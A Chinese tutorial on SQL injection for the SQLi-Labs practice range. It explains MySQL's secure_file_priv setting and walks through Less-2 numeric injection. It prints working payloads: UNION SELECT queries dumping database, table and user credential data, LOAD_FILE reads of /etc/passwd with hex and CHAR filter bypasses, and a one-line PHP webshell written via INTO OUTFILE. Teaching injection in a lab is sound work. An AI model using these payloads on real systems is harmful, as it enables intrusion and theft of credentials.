SQLi-Labs

       它是一个开源的、专门为学习 ​​Web安全​​ 和 ​​SQL注入技术​​ 而设计的靶场项目。开发者故意在代码中留下了各种不同类型的SQL注入漏洞,让安全研究人员、学生和爱好者可以在一个合法、安全的环境中进行实战练习,从而掌握发现和利用SQL注入漏洞的技能。

secure_file_priv

   MySQL自5.6版本以后引入的一个重要的安全特性。它是一个​​系统全局变量​​,用于​​限制MySQL服务器进行文件导入(LOAD DATA INFILE)和导出(SELECT ... INTO OUTFILE)操作时,可以访问的目录范围​​。

       这个设置的主要目的是防止恶意用户利用MySQL的文件操作功能来读取或写入服务器上的敏感文件(如 /etc/passwd、网站源码等),从而极大地增强了数据库服务器的安全性。

secure_file_priv的三种状态及其含义

SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';

该命令的返回结果通常为以下三种情况之一,每种情况都有不同的安全含义:

​取值状态​

​含义​

​安全影响​

NULL

​禁止所有文件导入导出操作​

这是​​最安全​​的配置。意味着您无法使用 SELECT ... INTO OUTFILE或 LOAD DATA INFILE语句。

​空字符串 ('')​

​允许文件导入导出到任意目录​

这是​​最不安全​​的配置。MySQL可以对文件系统进行任意读写(受操作系统权限限制)。​​这是攻击者最希望看到的状态。​

​一个目录路径​
(如 /tmp/)

​只能向指定目录进行文件导入导出​

这是一种​​折中的安全策略​​。文件操作被限制在某个沙箱目录内,既满足了功能需求,又大幅降低了风险。


配置 secure_file_priv

  这个参数需要在MySQL的配置文件(my.cnf或 my.ini)中设置,​​无法在运行时通过SQL语句动态修改​​。

  • ​Linux系统​​:配置文件为 /etc/my.cnf或 /etc/mysql/my.cnf
  • ​Windows系统​​:配置文件为 my.ini,位于MySQL的安装目录下。

在 [mysqld]配置块下添加或修改该参数,然后​​重启MySQL服务​​才能生效。

​配置示例:​

[mysqld]

secure_file_priv = /var/lib/mysql-files/

要成功利用文件读写注入漏洞,​​攻击者需要 secure_file_priv的值为 NULL以外的状态​​。

文件读(下载)漏洞​​:

       利用 SELECT ... INTO OUTFILE语句,将数据库查询结果写入一个文件。如果 secure_file_priv设置为一个可访问的目录,攻击者就可能将敏感数据(如用户密码哈希)写入该目录下的Web可访问文件,从而下载它。

SELECT * FROM users INTO OUTFILE '/var/www/html/export.txt';

​文件写(上传)漏洞​​:

      利用 LOAD DATA INFILE语句,将一个文件的内容读取到数据库表中。如果配置不当,攻击者可以上传一个恶意的Web Shell(如PHP文件)到Web目录,从而获取服务器控制权。

LOAD DATA INFILE '/tmp/evil.php' INTO TABLE test_table;

配置值​

​含义解读​

​安全等级与影响​

secure_file_priv=
(值为空)

​对文件读写没有限制​​。

​ 最低(最不安全)​
MySQL 服务可以读取或写入服务器操作系统上的任何文件(仅受操作系统本身权限限制)。​​此配置会带来严重的安全风险。​

secure_file_priv=NULL
(图片中红色高亮)

​完全禁止文件导入和导出操作​​。

​最高(最安全)​
这是最严格的设置。意味着您无法使用 SELECT ... INTO OUTFILE(导出)或 LOAD DATA INFILE(导入)等语句。

secure_file_priv='D:/path/'
(指定一个路径)

​只能对该指定路径下的文件进行读写​​。

​ 推荐(平衡安全与功能)​
这是一种“沙箱”策略。将文件操作限制在一个特定的、非关键的目录内(如图中的 d:/phpstudy/mysql/data),既满足了需要文件操作的应用功能,又极大地降低了安全风险。

配置重要性

这个配置是 ​​“文件读写型SQL注入”​​ 漏洞能否被利用的​​关键前提​​。

      黑客在发现一个SQL注入点后,如果发现 secure_file_priv没有设置为 NULL,他们可能会尝试:​读取敏感文件​​:如数据库配置文件、系统密码文件等。写入恶意文件​​:例如,向Web目录写入一个PHP木马(Webshell),从而获取服务器控制权。因此,将 secure_file_priv设置为 NULL或一个严格的受限路径,是保护数据库服务器安全的一道​​重要防线​​。

前置条件

​单引号字符串​​:LOAD_FILE('/etc/passwd')

​十六进制编码​​:LOAD_FILE(0x2f6574632f706173737764)0x后跟 /etc/passwd的16进制值,可绕过某些引号过滤)

​CHAR函数转换​​:LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100))(同样用于绕过过滤)

​路径斜杠​​:必须使用Linux系统路径分隔符 ​​正斜杠 /​(例如 /etc/passwd),而不能使用Windows的反斜杠

常见读取目标​

  1. MySQL配置文件​​:如 my.cnfconfig.php(通常内含数据库连接密码)。
  2. 系统敏感文件​​:如 /etc/passwd(用户信息)、Apache配置 httpd.conf
  3. ​Web应用源码​​:通过读取网站源码寻找漏洞或敏感信息。
  4. INTO OUTFILE​:​​特点​​:可写入多行数据,​​会执行格式化输出​​(如将字段值以制表符分隔,行以换行符结尾)。非常适合导出查询结果(如 SELECT * FROM users INTO OUTFILE '/tmp/users.csv')。
  5. INTO DUMPFILE​:特点​​:​​只能写入一行数据​​,且输出无任何格式(原始数据流)。适用于写入二进制文件(如DLL、EXE、图片)或单个字符串。
  6. 路径限制​​:OUTFILE​后面只能接单引号字符串路径​​(如 '/var/www/html/shell.php'),​​不能使用十六进制或CHAR转换​​的路径,这是语法上的硬性规定。

常见写入目标​

  1. SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

  2. ​数据导出​​:将数据库数据导出到指定文件进行备份或分析。MySQL配置 secure_file_priv​:该系统变量决定了MySQL能否读写文件以及可以访问的目录。如果其值为 NULL(默认安全配置),则​​禁止所有文件读写操作​​。如果其值为某个路径(如 /tmp),则只能在该目录下进行文件读写。只有其值为​​空​​时,才允许进行任意文件读写。可通过 SHOW VARIABLES LIKE 'secure_file_priv';命令查看当前配置。
  3. ​WebShell写入​​:在具备可写权限的Web目录下写入PHP等脚本文件,从而获取服务器控制权。

第二关

首先打开php开启mysql,一定要5.7版本,打开靶场第二关,本关是 ​​数字型注入(Integer-based SQL Injection)​​ 的经典关卡。这一关与第一关(字符型注入)的核心区别在于:​​参数ID没有被单引号(')包裹​​,因此无需处理引号闭合问题。通关的核心思路是​​通过 UNION SELECT语句拼接查询,直接从数据库中提取敏感信息​​。

攻击载荷:

1. ​​判断注入点与类型​

首先,确认注入点是数字型,且可注入。

?id=1 and 1=1 --+ 页面正常 ?id=1 and 1=2 --+ 页面异常(返回空或错误)

如果符合该现象,说明为数字型注入,and 1=2导致条件永假,原查询无结果。

2. ​​判断当前查询的字段数(列数)​

使用 ORDER BY子句进行猜测,直到页面报错:

?id=1 ORDER BY 1 --+ 正常

?id=1 ORDER BY 2 --+ 正常

?id=1 ORDER BY 3 --+ 正常

?id=1 ORDER BY 4 --+ 错误

这说明 ​​当前查询的字段数为 3​​。

3. ​​确定显示位​

使用 UNION SELECT来找到页面中会回显数据的字段位置:

?id=-1 UNION SELECT 1,2,3 --+

页面通常会显示数字 2和 3(或 1,2,3中的某几个),这两个数字就是我们可以用来回显数据的“显示位”。

4. ​​利用显示位提取信息​

将您想查询的数据替换到显示位的位置上。以下是一些常用的Payload:

​查看当前数据库名与用户​​:

?id=-1 UNION SELECT 1,database(),user() --+

页面会显示当前数据库名称和数据库用户。

​查看所有数据库名​​:

?id=-1 UNION SELECT 1,2,GROUP_CONCAT(schema_name) FROM information_schema.schemata --+

​查看当前数据库的所有表名​​:

?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database() --+

​查看某张表的所有字段名(例如 users表)​​:

?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' --+

​最终目标:提取数据(例如 users表中的用户名和密码)​

?id=-1 UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --+

也可以用来文件读写

http://localhost/sql/Less-2/index.php?id=-1union select 1,'sfsf',3 into outfile 'd:/1.txt'--+

#第二个字段用来生成文件内容,不用提前创建文件,这条命令会自动创建

#into outfile '文件绝对路径' --+ 

最后可以看到在d盘生成了一个文本文件,字段2里包含了命令内容

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/921681.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/921681.shtml
英文地址,请注明出处:http://en.pswp.cn/news/921681.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

设计艺术~缓存结构设计

背景 面对高QPS场景的业务&#xff0c;不得不考虑对一些数据做缓存设计&#xff0c;常见的缓存设计有这些&#xff1a;DB Proxy缓存、分布式缓存、Localcache缓存。 在考虑加缓存的背景下不考虑数据的一致性&#xff0c;都是瞎扯&#xff0c;所以我们再定义一下数据的一致性场景…

后端开发技术栈

后端开发技术栈核心技术内容平台 (Content Platform)电商 (E-Commerce)金融科技 (FinTech) / 支付物联网 (IoT - Internet of Things)游戏后端 (Game Backend)社交平台搜索平台企业级应用开发音视频处理后端地图与地理位置服务DevOps大数据开发大模型应用开发智能合约开发核心技…

【ICCV2025】计算机视觉|即插即用|ESC:颠覆Transformer!超强平替,ESC模块性能炸裂!

论文地址&#xff1a;https://arxiv.org/pdf/2503.06671 代码地址&#xff1a;https://github.com/dslisleedh/ESC 关注UP CV缝合怪&#xff0c;分享最计算机视觉新即插即用模块&#xff0c;并提供配套的论文资料与代码。 https://space.bilibili.com/473764881 摘要 本研究…

【面试场景题】如何进行高并发系统的性能测试?

文章目录一、明确测试目标与指标二、测试环境搭建三、测试工具选型四、测试场景设计五、执行测试与监控六、瓶颈分析与调优七、测试报告与迭代总结高并发系统的性能测试是验证系统在极限流量下是否能保持稳定运行的关键环节&#xff0c;需要结合场景设计、工具选型、指标监控、…

攻防世界ReverseMe-120

这道题比较经典&#xff0c;涉及三个知识点&#xff0c;所以记录一下。首先给了一个文件&#xff0c;detect it easy看了下&#xff0c;是32位exe。放入ida中&#xff0c;找下main函数&#xff0c;F5反编译看一下伪代码。int __cdecl main(int argc, const char **argv, const …

小白也能看懂,HTTP中的文件上传与下载到底发生了什么?

HTTP 文件传输协议解析&#xff1a;上传与下载 这份文档会用最简单的方式&#xff0c;带你了解 HTTP 协议是如何处理文件下载和上传的。我们会专注于协议本身&#xff0c;看看客户端&#xff08;比如你的浏览器&#xff09;和服务端&#xff08;网站服务器&#xff09;之间到底…

快速构建数据集-假数据(生成划分)

快速构建数据集-假数据1、torch.randn&#xff08;✅&#xff09;2、HuggingFace Datasets&#xff08;✅&#xff09;&#x1f539;1. 从字典生成&#x1f539;2. 从 pandas.DataFrame 生成&#x1f539;3. 批量生成“业务型”假数据&#xff08;配合 Faker&#xff09;&#…

[修订版]Xenomai/IPIPE源代码情景解析

[修订版]Xenomai/IPIPE源代码情景解析 第一章&#xff1a;Interrupt Pipeline介绍 1.1 I-pipe与Xenomai1.2 I-pipe核心概念1.3 拉取I-pipe代码 第二章&#xff1a;I-pipe对ARM64异常的改造 2.1 ARM64中断机制与异常处理2.2 EL0_IRQ 中断改造之入口2.3 EL0_IRQ 中断改造之中断处…

【Qt开发】按钮类控件(三)-> QCheckBox

目录 1 -> 概述 2 -> 核心特性 2.1 -> 状态管理 2.2 -> 信号机制 2.3 -> 外观与文本 3 -> 应用场景 4 -> 代码示例 5 -> 总结 1 -> 概述 QCheckBox 是 Qt 框架中提供的一个基础控件&#xff0c;用于实现复选框功能。它允许用户在两种或三种…

在新发布的AI论文中 pytorch 和tensorflow 的使用比例

根据 2025 年最新的学术动态和行业报告&#xff0c;PyTorch 在 AI 论文中的使用比例已占据绝对主导地位&#xff0c;而 TensorFlow 的占比持续下降。以下是基于多个权威来源的综合分析&#xff1a; 一、顶级会议中的框架分布 在 NeurIPS、ICML、CVPR 等顶级学术会议中&#xff…

3DXML格式是什么?用什么软件可以打开?

3DXML 是一种开放标准的数据交换格式&#xff0c;主要用于三维 CAD&#xff08;计算机辅助设计&#xff09;模型的存储和交换。它是由 Dassault Systmes 开发的一种文件格式&#xff0c;常用于 CATIA V6 和其他支持该格式的应用程序中。3DXML 文件可以包含完整的 3D 模型数据&a…

9月8日星期一今日早报简报微语报早读

9月8日星期一&#xff0c;农历七月十七&#xff0c;早报#微语早读。1、中国火箭与月亮同框&#xff0c;遥感四十号03组卫星发射成功&#xff1b;2、湖南郴州开发区改革&#xff1a;编制数由815名减至680名&#xff0c;精简16.6%&#xff1b;3、水利部对广东、广西启动洪水防御Ⅳ…

windows系统搭建MQTT服务器

1、MQTT 协议 MQTT协议&#xff1a;实现MQTT协议需要客户端和服务器端通讯完成。 三种身份: 发布者(Publish)、代理(Broker)(服务器)、订阅者(Subscribe)。 消息的发布者和订阅者都是客户端&#xff0c;消息代理是服务器&#xff0c;消息发布者可以同时是订阅者。 MQTT&am…

从 GPT 到 LLaMA:解密 LLM 的核心架构——Decoder-Only 模型

&#x1f525;从 GPT 到 LLaMA&#xff1a;解密 LLM 的核心架构——Decoder-Only 模型 “为什么所有大模型&#xff08;LLM&#xff09;都长一个样&#xff1f;” 因为它们都有一个共同的“基因”——Decoder-Only 架构。 在前面两节中&#xff0c;我们学习了&#xff1a; BER…

Codeforces Round 1047 (Div. 3)

由于最近这三天的数学建模&#xff0c;让我这个精力本来就不多的AI手更加力竭了&#xff0c;没注意到昨晚的cf&#xff0c;所以今天来补题了。 比赛连接&#xff1a;比赛传送门 A题&#xff1a; You are doing a research paper on the famous Collatz Conjecture. In your e…

C++经典的数据结构与算法之经典算法思想:贪心算法(Greedy)

贪心算法&#xff08;Greedy Algorithm&#xff09;&#xff1a;通过局部最优达成全局最优的决策策略 贪心算法是一种通过每次选择局部最优解来期望全局最优解的算法思想。它不考虑未来的影响&#xff0c;仅根据当前信息做出最优选择&#xff0c;适用于具有贪心选择性质和最优子…

LangChain实战(二十一):构建自动化AI客服系统

本文是《LangChain实战课》系列的第二十一篇,将带领您构建一个完整的自动化AI客服系统。通过结合对话记忆、工具调用和业务知识库,我们将创建一个能够处理复杂客户查询的智能客服解决方案。 前言 在现代商业环境中,客户服务是企业成功的关键因素之一。传统客服系统往往面临…

一人公司智能管理系统概述

系统概述 项目结构 Al_Compny系统采用前后端分离的全栈架构&#xff0c;项目根目录下包含两个主要子目录&#xff1a;Al_Compny_backend&#xff08;后端服务&#xff09;和Al_Compny_frontend&#xff08;前端应用&#xff09;。核心功能模块 Al_Compny系统是一个面向"一…

OpenWrt | 在 PPP 拨号模式下启用 IPv6 功能

文章目录一、WAN 口配置二、LAN 口配置三、IPv6 测试本文将详细介绍 将光猫的网络模式改成桥接之后使用路由器拨号的上网方式的情况下&#xff0c;在 OpenWrt 上使用 PPP 拨号模式上网时&#xff0c;启用 IPv6 功能的方法。 一、WAN 口配置 首先&#xff0c;我们需要在 网络 …

Java如何实现一个安全的登录功能?

安全登录系统完整教程 &#x1f4cb; 目录 项目概述技术栈安全特性项目结构核心组件详解安全实现原理部署和运行安全最佳实践常见问题解答进阶扩展 &#x1f3af; 项目概述 这是一个基于Spring Boot和Spring Security的完整安全登录系统&#xff0c;专为初学者设计&#xff…